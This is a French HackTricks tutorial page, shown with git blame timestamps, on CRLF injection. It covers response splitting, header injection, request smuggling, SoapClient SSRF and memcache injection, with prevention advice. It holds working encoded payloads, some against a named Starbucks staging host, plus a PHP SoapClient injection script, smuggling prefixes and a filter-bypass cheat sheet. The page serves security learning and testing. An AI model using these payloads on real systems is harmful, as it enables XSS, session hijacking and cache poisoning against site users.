hacktricks/pentesting-web/crlf-0d-0a.md

235 lines
17 KiB
Markdown
Raw Normal View History

2023-06-03 13:10:46 +00:00
# Injection CRLF (%0D%0A)
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
2022-05-24 00:07:19 +00:00
**Conseil de prime à la faille** : **inscrivez-vous** à **Intigriti**, une plateforme de prime à la faille premium créée par des pirates informatiques, pour les pirates informatiques ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $** !
2022-04-28 16:01:33 +00:00
{% embed url="https://go.intigriti.com/hacktricks" %}
2022-05-24 00:07:19 +00:00
### CRLF
Le retour chariot (CR) et le saut de ligne (LF), collectivement connus sous le nom de CRLF, sont des séquences de caractères spéciaux utilisées dans le protocole HTTP pour indiquer la fin d'une ligne ou le début d'une nouvelle. Les serveurs Web et les navigateurs utilisent CRLF pour distinguer entre les en-têtes HTTP et le corps d'une réponse. Ces caractères sont universellement utilisés dans les communications HTTP/1.1 sur différents types de serveurs Web, tels que Apache et Microsoft IIS.
### Vulnérabilité d'injection CRLF
L'injection CRLF implique l'insertion des caractères CR et LF dans une entrée fournie par l'utilisateur. Cette action induit en erreur le serveur, l'application ou l'utilisateur en interprétant la séquence injectée comme la fin d'une réponse et le début d'une autre. Bien que ces caractères ne soient pas intrinsèquement nocifs, leur mauvais usage peut entraîner un fractionnement de réponse HTTP et d'autres activités malveillantes.
### Exemple : Injection CRLF dans un fichier journal
[Exemple d'ici](https://www.invicti.com/blog/web-security/crlf-http-header/)
Considérez un fichier journal dans un panneau d'administration qui suit le format : `IP - Heure - Chemin visité`. Une entrée typique pourrait ressembler à :
```
123.123.123.123 - 08:15 - /index.php?page=home
```
Un attaquant peut exploiter une injection CRLF pour manipuler ce journal. En injectant des caractères CRLF dans la requête HTTP, l'attaquant peut modifier le flux de sortie et fabriquer des entrées de journal. Par exemple, une séquence injectée pourrait transformer l'entrée de journal en :
```
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
Voici, `%0d` et `%0a` représentent les formes encodées en URL de CR et LF. Après l'attaque, le journal afficherait de manière trompeuse:
```
IP - Time - Visited Path
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
L'attaquant camoufle ainsi ses activités malveillantes en faisant apparaître comme si le localhost (une entité généralement de confiance dans l'environnement du serveur) avait effectué les actions. Le serveur interprète la partie de la requête commençant par `%0d%0a` comme un seul paramètre, tandis que le paramètre `restrictedaction` est analysé comme une autre entrée distincte. La requête manipulée imite efficacement une commande administrative légitime : `/index.php?page=home&restrictedaction=edit`
### Fractionnement de Réponse HTTP
2022-05-24 00:07:19 +00:00
#### Description
Le fractionnement de réponse HTTP est une vulnérabilité de sécurité qui survient lorsqu'un attaquant exploite la structure des réponses HTTP. Cette structure sépare les en-têtes du corps en utilisant une séquence de caractères spécifique, un retour chariot (CR) suivi d'une avance de ligne (LF), collectivement appelé CRLF. Si un attaquant parvient à insérer une séquence CRLF dans un en-tête de réponse, il peut manipuler efficacement le contenu de la réponse suivante. Ce type de manipulation peut entraîner de graves problèmes de sécurité, notamment les attaques de type Cross-site Scripting (XSS).
#### XSS via le Fractionnement de Réponse HTTP
1. L'application définit un en-tête personnalisé comme ceci : `X-Custom-Header: UserInput`
2. L'application récupère la valeur pour `UserInput` à partir d'un paramètre de requête, disons "user\_input". Dans les scénarios sans validation et encodage d'entrée appropriés, un attaquant peut créer une charge utile qui inclut la séquence CRLF, suivie d'un contenu malveillant.
3. Un attaquant crée une URL avec un 'user\_input' spécialement conçu : `?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>`
* Dans cette URL, `%0d%0a%0d%0a` est la forme encodée en URL de CRLFCRLF. Cela trompe le serveur en insérant une séquence CRLF, faisant en sorte que le serveur traite la partie suivante comme le corps de la réponse.
4. Le serveur reflète l'entrée de l'attaquant dans l'en-tête de réponse, entraînant une structure de réponse non intentionnelle où le script malveillant est interprété par le navigateur comme faisant partie du corps de la réponse.
#### Un exemple de Fractionnement de Réponse HTTP menant à une Redirection
Depuis [https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62](https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62)
Navigateur vers:
```
/%0d%0aLocation:%20http://myweb.com
```
2023-06-03 13:10:46 +00:00
Et le serveur répond avec l'en-tête :
```
Location: http://myweb.com
```
**Autre exemple : (de** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)**
```
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
```
2023-06-03 13:10:46 +00:00
#### Dans le chemin de l'URL
Vous pouvez envoyer la charge utile **à l'intérieur du chemin de l'URL** pour contrôler la **réponse** du serveur (exemple provenant de [ici](https://hackerone.com/reports/192667)):
```
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
```
Consultez plus d'exemples sur:
2021-04-17 15:19:39 +00:00
{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}
2021-04-17 15:20:44 +00:00
### Injection d'en-tête HTTP
2021-04-17 15:20:44 +00:00
L'injection d'en-tête HTTP, souvent exploitée via l'injection CRLF (Retour chariot et saut de ligne), permet aux attaquants d'insérer des en-têtes HTTP. Cela peut compromettre les mécanismes de sécurité tels que les filtres XSS (Cross-Site Scripting) ou la SOP (Same-Origin Policy), conduisant potentiellement à un accès non autorisé à des données sensibles, telles que des jetons CSRF, ou à la manipulation des sessions utilisateur via l'implantation de cookies.
2021-04-17 15:20:44 +00:00
#### Exploitation de CORS via l'injection d'en-tête HTTP
2021-04-17 15:20:44 +00:00
Un attaquant peut injecter des en-têtes HTTP pour activer CORS (Cross-Origin Resource Sharing), contournant ainsi les restrictions imposées par la SOP. Cette violation permet à des scripts provenant d'origines malveillantes d'interagir avec des ressources d'une origine différente, potentiellement accédant à des données protégées.
2021-04-17 15:20:44 +00:00
#### SSRF et injection de requête HTTP via CRLF
2021-04-17 15:19:39 +00:00
L'injection CRLF peut être utilisée pour créer et injecter une toute nouvelle requête HTTP. Un exemple notable de cela est la vulnérabilité dans la classe `SoapClient` de PHP, spécifiquement dans le paramètre `user_agent`. En manipulant ce paramètre, un attaquant peut insérer des en-têtes supplémentaires et du contenu de corps, voire injecter entièrement une nouvelle requête HTTP. Voici un exemple en PHP illustrant cette exploitation:
2021-04-17 15:19:39 +00:00
```php
$target = 'http://127.0.0.1:9090/test';
2021-04-17 15:19:39 +00:00
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
2021-04-17 15:19:39 +00:00
);
$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
2021-04-17 15:19:39 +00:00
);
# Put a netcat listener on port 9090
2021-04-17 15:19:39 +00:00
$client->__soapCall("test", []);
```
### Injection de l'en-tête pour le Request Smuggling
Pour plus d'informations sur cette technique et les problèmes potentiels, [**consultez la source originale**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning).
Vous pouvez injecter des en-têtes essentiels pour garantir que le **back-end maintient la connexion ouverte** après avoir répondu à la requête initiale :
2022-10-05 09:28:25 +00:00
```
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
```
Ensuite, une deuxième requête peut être spécifiée. Ce scénario implique généralement [le smugling de requête HTTP](http-request-smuggling/), une technique où des en-têtes supplémentaires ou des éléments de corps ajoutés par le serveur après une injection peuvent entraîner divers exploits de sécurité.
2022-10-05 09:28:25 +00:00
**Exploitation:**
2022-10-05 09:28:25 +00:00
1. **Injection de Préfixe Malveillant**: Cette méthode implique de polluer la prochaine requête de l'utilisateur ou un cache web en spécifiant un préfixe malveillant. Un exemple de ceci est :
2022-10-05 09:28:25 +00:00
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
2022-10-05 09:28:25 +00:00
2. **Création d'un Préfixe pour l'Empoisonnement de la File de Réponse**: Cette approche implique de créer un préfixe qui, combiné avec des données inutiles, forme une deuxième requête complète. Cela peut déclencher un empoisonnement de la file de réponse. Un exemple est :
2022-10-05 09:28:25 +00:00
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
2022-10-05 09:28:25 +00:00
2023-06-03 13:10:46 +00:00
### Injection Memcache
2023-02-16 13:29:30 +00:00
Memcache est un **magasin clé-valeur qui utilise un protocole en texte clair**. Plus d'informations sur :
2023-02-16 13:29:30 +00:00
{% content-ref url="../network-services-pentesting/11211-memcache/" %}
[11211-memcache](../network-services-pentesting/11211-memcache/)
{% endcontent-ref %}
**Pour plus d'informations, consultez le** [**article original**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)
Si une plateforme prend **des données d'une requête HTTP et les utilise sans les désinfecter** pour effectuer des **requêtes** vers un serveur **memcache**, un attaquant pourrait abuser de ce comportement pour **injecter de nouvelles commandes memcache**.
2023-02-16 13:29:30 +00:00
Par exemple, dans la vulnérabilité découverte initialement, des clés de cache étaient utilisées pour renvoyer l'IP et le port auquel un utilisateur devait se connecter, et les attaquants pouvaient **injecter des commandes memcache** qui **empoisonnaient** le **cache pour envoyer les détails des victimes** (noms d'utilisateur et mots de passe inclus) aux serveurs des attaquants :
2023-02-16 13:29:30 +00:00
<figure><img src="../.gitbook/assets/image (659).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&#x26;h=178&#x26;auto=format&#x26;fit=crop"><figcaption></figcaption></figure>
2023-02-16 13:29:30 +00:00
De plus, les chercheurs ont également découvert qu'ils pouvaient désynchroniser les réponses memcache pour envoyer les adresses IP et les ports des attaquants aux utilisateurs dont l'adresse e-mail n'était pas connue de l'attaquant :
2023-02-16 13:29:30 +00:00
<figure><img src="../.gitbook/assets/image (637).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&#x26;h=506&#x26;auto=format&#x26;fit=crop"><figcaption></figcaption></figure>
### Comment Prévenir les Injections CRLF / En-têtes HTTP dans les Applications Web
Pour atténuer les risques d'injections CRLF (Retour chariot et Saut de ligne) ou d'en-têtes HTTP dans les applications web, les stratégies suivantes sont recommandées :
1. **Éviter les Entrées Utilisateur Directes dans les En-têtes de Réponse** : La meilleure approche est de s'abstenir d'incorporer directement les entrées fournies par l'utilisateur dans les en-têtes de réponse.
2. **Encoder les Caractères Spéciaux** : Si éviter les entrées utilisateur directes n'est pas possible, assurez-vous d'utiliser une fonction dédiée à l'encodage des caractères spéciaux comme CR (Retour chariot) et LF (Saut de ligne). Cette pratique empêche la possibilité d'injection CRLF.
3. **Mettre à Jour le Langage de Programmation** : Mettez régulièrement à jour le langage de programmation utilisé dans vos applications web vers la dernière version. Optez pour une version qui interdit intrinsèquement l'injection de caractères CR et LF dans les fonctions chargées de définir les en-têtes HTTP.
### FEUILLE DE TRICHE
[Feuille de triche à partir d'ici](https://twitter.com/NinadMishra5/status/1650080604174667777)
```
1. HTTP Response Splitting
2021-06-23 17:08:03 +00:00
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)
2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com
3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
```
## Outils Automatiques
2020-09-11 09:44:53 +00:00
* [https://github.com/Raghavd3v/CRLFsuite](https://github.com/Raghavd3v/CRLFsuite)
* [https://github.com/dwisiswant0/crlfuzz](https://github.com/dwisiswant0/crlfuzz)
2020-09-11 09:44:53 +00:00
## Liste de Détection de Force Brute
2021-06-27 21:56:13 +00:00
* [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/crlf.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/crlf.txt)
2021-06-27 21:56:13 +00:00
2023-06-03 13:10:46 +00:00
## Références
* [**https://www.invicti.com/blog/web-security/crlf-http-header/**](https://www.invicti.com/blog/web-security/crlf-http-header/)
2022-04-05 22:24:52 +00:00
* [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
2023-02-16 13:29:30 +00:00
* [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
* [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/)
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
2022-05-24 00:07:19 +00:00
**Conseil de prime de bug**: **inscrivez-vous** sur **Intigriti**, une plateforme de prime de bug premium créée par des hackers, pour des hackers ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $**!
2022-05-24 00:07:19 +00:00
{% embed url="https://go.intigriti.com/hacktricks" %}
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
2022-04-28 16:01:33 +00:00
</details>